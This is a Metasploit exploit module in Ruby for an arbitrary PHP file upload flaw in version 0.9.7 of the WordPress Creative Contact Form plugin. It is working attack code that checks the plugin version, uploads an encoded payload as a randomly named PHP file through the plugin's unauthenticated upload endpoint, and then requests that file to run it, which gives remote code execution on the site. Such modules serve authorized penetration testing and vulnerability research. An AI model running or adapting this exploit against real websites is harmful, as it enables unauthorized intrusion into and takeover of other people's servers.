## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Creative Contact Form Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress Creative Contact Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Gianni Angelozzi', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '35057'], ['OSVDB', '113669'], ['WPVDB', '7652'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Creative Contact Form 0.9.7', {}]], 'DisclosureDate' => 'Oct 22 2014', 'DefaultTarget' => 0) ) end def check check_plugin_version_from_readme('sexy-contact-form', '1.0.0') end def exploit php_pagename = rand_text_alpha(8 + rand(8)) + '.php' data = Rex::MIME::Message.new data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"") post_data = data.to_s res = send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'index.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 && res.body =~ /files|#{php_pagename}/ print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'ERROR') end print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'files', php_pagename) ) end end